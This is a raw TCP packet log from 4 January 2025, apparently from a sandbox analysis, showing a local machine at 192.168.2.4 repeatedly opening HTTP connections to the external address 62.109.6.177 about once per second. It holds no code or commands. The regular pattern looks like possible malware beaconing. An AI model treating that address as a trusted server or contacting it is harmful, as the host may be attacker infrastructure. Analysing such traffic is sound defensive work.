Jan 4, 2025 13:37:25.767158985 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:25.767194986 CET	80	49756	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.767256021 CET	49756	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:25.767332077 CET	49756	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:25.767412901 CET	80	49755	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.767538071 CET	49755	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:25.772156000 CET	80	49756	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:26.124780893 CET	49756	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:26.129672050 CET	80	49756	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:26.129683971 CET	80	49756	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:26.129693985 CET	80	49756	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:26.451850891 CET	80	49756	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:26.499695063 CET	49756	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:26.585442066 CET	80	49756	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:26.591111898 CET	49756	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:26.596174955 CET	80	49756	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:26.596972942 CET	49756	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:26.715234041 CET	49757	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:26.720145941 CET	80	49757	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:26.722965956 CET	49757	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:26.723084927 CET	49757	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:26.727866888 CET	80	49757	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:27.078591108 CET	49757	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:27.083501101 CET	80	49757	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:27.083514929 CET	80	49757	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:27.083524942 CET	80	49757	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:27.516150951 CET	49757	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:27.516230106 CET	49758	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:27.521239996 CET	80	49758	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:27.521337032 CET	49758	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:27.521430969 CET	49758	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:27.526137114 CET	80	49758	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:27.563903093 CET	80	49757	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:27.643533945 CET	49759	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:27.648356915 CET	80	49759	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:27.648530960 CET	49759	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:27.648650885 CET	49759	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:27.653420925 CET	80	49759	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:27.874814034 CET	49758	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:27.879669905 CET	80	49758	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:27.879760027 CET	80	49758	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:27.999825954 CET	49759	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:28.004987955 CET	80	49759	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:28.005001068 CET	80	49759	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:28.005009890 CET	80	49759	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:28.249236107 CET	80	49758	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:28.296565056 CET	49758	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:28.326945066 CET	80	49759	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:28.374692917 CET	49759	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:28.381603956 CET	80	49758	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:28.437187910 CET	49758	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:28.457222939 CET	80	49759	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:28.499708891 CET	49759	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:28.575221062 CET	49758	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:28.575531960 CET	49759	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:28.575534105 CET	49760	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:28.580185890 CET	80	49758	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:28.580260038 CET	49758	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:28.580332994 CET	80	49760	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:28.580400944 CET	49760	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:28.580431938 CET	80	49759	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:28.580473900 CET	49759	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:28.580523968 CET	49760	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:28.585267067 CET	80	49760	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:28.937268019 CET	49760	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:28.942195892 CET	80	49760	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:28.942208052 CET	80	49760	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:28.942215919 CET	80	49760	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:29.257618904 CET	80	49760	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:29.312190056 CET	49760	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:29.390505075 CET	80	49760	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:29.437184095 CET	49760	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:29.511394024 CET	49761	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:29.516196966 CET	80	49761	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:29.516278028 CET	49761	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:29.516371012 CET	49761	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:29.521219969 CET	80	49761	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:29.874799967 CET	49761	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:29.879643917 CET	80	49761	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:29.879667997 CET	80	49761	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:29.879678011 CET	80	49761	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:30.222137928 CET	80	49761	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:30.265321016 CET	49761	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:30.356148958 CET	80	49761	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:30.405940056 CET	49761	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:30.478642941 CET	49761	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:30.478729963 CET	49762	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:30.483546019 CET	80	49762	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:30.483622074 CET	49762	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:30.483656883 CET	80	49761	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:30.483711958 CET	49762	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:30.483841896 CET	49761	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:30.488487005 CET	80	49762	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:30.827951908 CET	49762	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:30.832823038 CET	80	49762	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:30.832833052 CET	80	49762	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:30.832840919 CET	80	49762	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:31.193809032 CET	80	49762	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:31.234093904 CET	49762	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:31.332672119 CET	80	49762	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:31.374706030 CET	49762	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:31.450591087 CET	49762	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:31.450798988 CET	49763	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:31.456948996 CET	80	49763	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:31.457042933 CET	49763	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:31.457096100 CET	80	49762	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:31.457108021 CET	49763	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:31.457144976 CET	49762	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:31.461868048 CET	80	49763	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:31.812283993 CET	49763	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:31.817222118 CET	80	49763	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:31.817235947 CET	80	49763	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:31.817244053 CET	80	49763	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:32.186445951 CET	80	49763	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:32.234090090 CET	49763	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:32.318160057 CET	80	49763	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:32.359067917 CET	49763	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:32.433027029 CET	49763	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:32.433197021 CET	49764	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:32.438055038 CET	80	49764	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:32.438142061 CET	80	49763	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:32.438154936 CET	49764	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:32.438188076 CET	49763	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:32.444792032 CET	49764	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:32.449569941 CET	80	49764	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:32.797199011 CET	49764	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:32.802109003 CET	80	49764	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:32.802122116 CET	80	49764	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:32.802129984 CET	80	49764	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:33.148752928 CET	80	49764	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:33.202857018 CET	49764	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:33.282757998 CET	80	49764	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:33.327836037 CET	49764	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:33.390918970 CET	49764	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:33.391252041 CET	49765	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:33.396070957 CET	80	49765	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:33.396164894 CET	49765	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:33.396167994 CET	80	49764	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:33.396226883 CET	49764	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:33.401710033 CET	49766	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:33.406493902 CET	80	49766	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:33.406565905 CET	49766	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:33.406634092 CET	49766	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:33.411425114 CET	80	49766	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:33.765435934 CET	49766	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:33.770507097 CET	80	49766	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:33.770519972 CET	80	49766	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:33.770529032 CET	80	49766	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:34.117360115 CET	80	49766	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:34.171597004 CET	49766	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:34.252182961 CET	80	49766	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:34.268785000 CET	80	49760	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:34.268858910 CET	49760	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:34.296606064 CET	49766	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:34.371395111 CET	49766	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:34.371665001 CET	49767	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:34.376374006 CET	80	49766	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:34.376418114 CET	80	49767	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:34.376434088 CET	49766	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:34.376477003 CET	49767	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:34.376578093 CET	49767	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:34.381302118 CET	80	49767	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:34.734164953 CET	49767	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:34.739043951 CET	80	49767	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:34.739056110 CET	80	49767	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:34.739065886 CET	80	49767	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:35.077032089 CET	80	49767	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:35.124705076 CET	49767	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:35.212743998 CET	80	49767	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:35.265322924 CET	49767	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:35.335431099 CET	49765	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:35.340315104 CET	49767	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:35.340536118 CET	49768	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:35.345237970 CET	80	49767	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:35.345289946 CET	49767	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:35.345371962 CET	80	49768	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:35.345432043 CET	49768	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:35.345546007 CET	49768	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:35.350354910 CET	80	49768	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:35.703067064 CET	49768	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:35.707977057 CET	80	49768	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:35.707989931 CET	80	49768	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:35.707999945 CET	80	49768	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:36.024297953 CET	80	49768	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:36.077821970 CET	49768	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:36.166058064 CET	80	49768	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:36.218471050 CET	49768	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:36.292752028 CET	49768	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:36.292968988 CET	49769	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:36.297801018 CET	80	49768	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:36.297817945 CET	80	49769	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:36.297856092 CET	49768	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:36.297894955 CET	49769	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:36.297988892 CET	49769	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:36.302704096 CET	80	49769	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:36.656025887 CET	49769	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:36.660917044 CET	80	49769	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:36.660931110 CET	80	49769	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:36.660940886 CET	80	49769	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:37.008028984 CET	80	49769	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:37.062211037 CET	49769	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:37.142386913 CET	80	49769	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:37.187206030 CET	49769	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:37.268147945 CET	49769	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:37.268352032 CET	49770	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:37.273252964 CET	80	49770	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:37.273284912 CET	80	49769	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:37.273346901 CET	49770	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:37.273442984 CET	49769	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:37.273442984 CET	49770	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:37.278207064 CET	80	49770	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:37.624842882 CET	49770	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:37.629807949 CET	80	49770	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:37.629827023 CET	80	49770	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:37.629837036 CET	80	49770	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:37.984152079 CET	80	49770	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:38.030957937 CET	49770	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:38.148315907 CET	80	49770	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:38.202915907 CET	49770	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:38.263330936 CET	49770	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:38.263536930 CET	49771	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:38.268318892 CET	80	49771	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:38.268335104 CET	80	49770	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:38.268395901 CET	49770	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:38.268407106 CET	49771	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:38.268517017 CET	49771	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:38.273284912 CET	80	49771	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:38.406846046 CET	49772	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:38.406966925 CET	49771	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:38.411792040 CET	80	49772	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:38.411886930 CET	49772	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:38.412009954 CET	49772	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:38.416742086 CET	80	49772	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:38.455836058 CET	80	49771	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:38.526616096 CET	49773	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:38.531425953 CET	80	49773	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:38.531508923 CET	49773	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:38.531630039 CET	49773	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:38.536415100 CET	80	49773	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:38.762679100 CET	80	49771	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:38.762757063 CET	49771	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:38.768757105 CET	49772	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:38.773559093 CET	80	49772	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:38.773719072 CET	80	49772	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:38.893635035 CET	49773	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:38.898530006 CET	80	49773	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:38.898540974 CET	80	49773	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:38.898547888 CET	80	49773	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:39.098675013 CET	80	49772	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:39.140330076 CET	49772	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:39.210052013 CET	80	49773	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:39.228429079 CET	80	49772	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:39.249701023 CET	49773	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:39.280951023 CET	49772	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:39.338774920 CET	80	49773	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:39.390337944 CET	49773	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:39.466298103 CET	49772	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:39.466424942 CET	49773	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:39.466685057 CET	49774	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:39.471441984 CET	80	49772	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:39.471477032 CET	80	49774	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:39.471492052 CET	49772	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:39.471522093 CET	49774	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:39.471616983 CET	49774	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:39.471760988 CET	80	49773	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:39.471803904 CET	49773	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:39.476419926 CET	80	49774	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:39.827922106 CET	49774	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:39.832801104 CET	80	49774	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:39.832813025 CET	80	49774	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:39.832820892 CET	80	49774	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:40.166374922 CET	80	49774	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:40.218457937 CET	49774	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:40.290486097 CET	80	49774	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:40.291062117 CET	49774	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:40.296025991 CET	80	49774	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:40.296065092 CET	49774	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:40.418556929 CET	49775	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:40.424475908 CET	80	49775	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:40.424560070 CET	49775	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:40.424679041 CET	49775	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:40.430520058 CET	80	49775	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:40.781075001 CET	49775	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:40.785957098 CET	80	49775	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:40.785969019 CET	80	49775	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:40.785975933 CET	80	49775	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:41.133177042 CET	80	49775	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:41.191816092 CET	49775	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:41.266496897 CET	80	49775	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:41.312206030 CET	49775	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:41.415716887 CET	49775	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:41.416028023 CET	49776	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:41.420855999 CET	80	49775	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:41.420870066 CET	80	49776	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:41.420918941 CET	49775	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:41.420952082 CET	49776	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:41.427982092 CET	49776	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:41.432797909 CET	80	49776	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:41.781188011 CET	49776	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:41.786055088 CET	80	49776	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:41.786067963 CET	80	49776	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:41.786077976 CET	80	49776	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:42.107417107 CET	80	49776	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:42.155952930 CET	49776	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:42.235208988 CET	80	49776	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:42.280972004 CET	49776	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:42.354830027 CET	49776	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:42.355071068 CET	49777	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:42.359878063 CET	80	49776	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:42.359890938 CET	80	49777	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:42.359929085 CET	49776	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:42.359961033 CET	49777	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:42.360044956 CET	49777	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:42.364783049 CET	80	49777	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:42.718641043 CET	49777	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:42.723589897 CET	80	49777	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:42.723603010 CET	80	49777	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:42.723611116 CET	80	49777	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:43.037110090 CET	80	49777	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:43.077858925 CET	49777	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:43.170563936 CET	80	49777	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:43.218466997 CET	49777	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:43.292414904 CET	49777	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:43.292622089 CET	49778	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:43.297467947 CET	80	49777	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:43.297482014 CET	80	49778	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:43.297517061 CET	49777	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:43.297580004 CET	49778	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:43.297652960 CET	49778	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:43.302407026 CET	80	49778	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:43.656059027 CET	49778	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:43.660928011 CET	80	49778	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:43.660940886 CET	80	49778	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:43.660948038 CET	80	49778	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:44.006688118 CET	80	49778	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:44.046586990 CET	49778	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:44.138556957 CET	80	49778	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:44.187211037 CET	49778	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:44.235541105 CET	49779	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:44.235600948 CET	49778	80	192.168.2.4	62.109.6.177
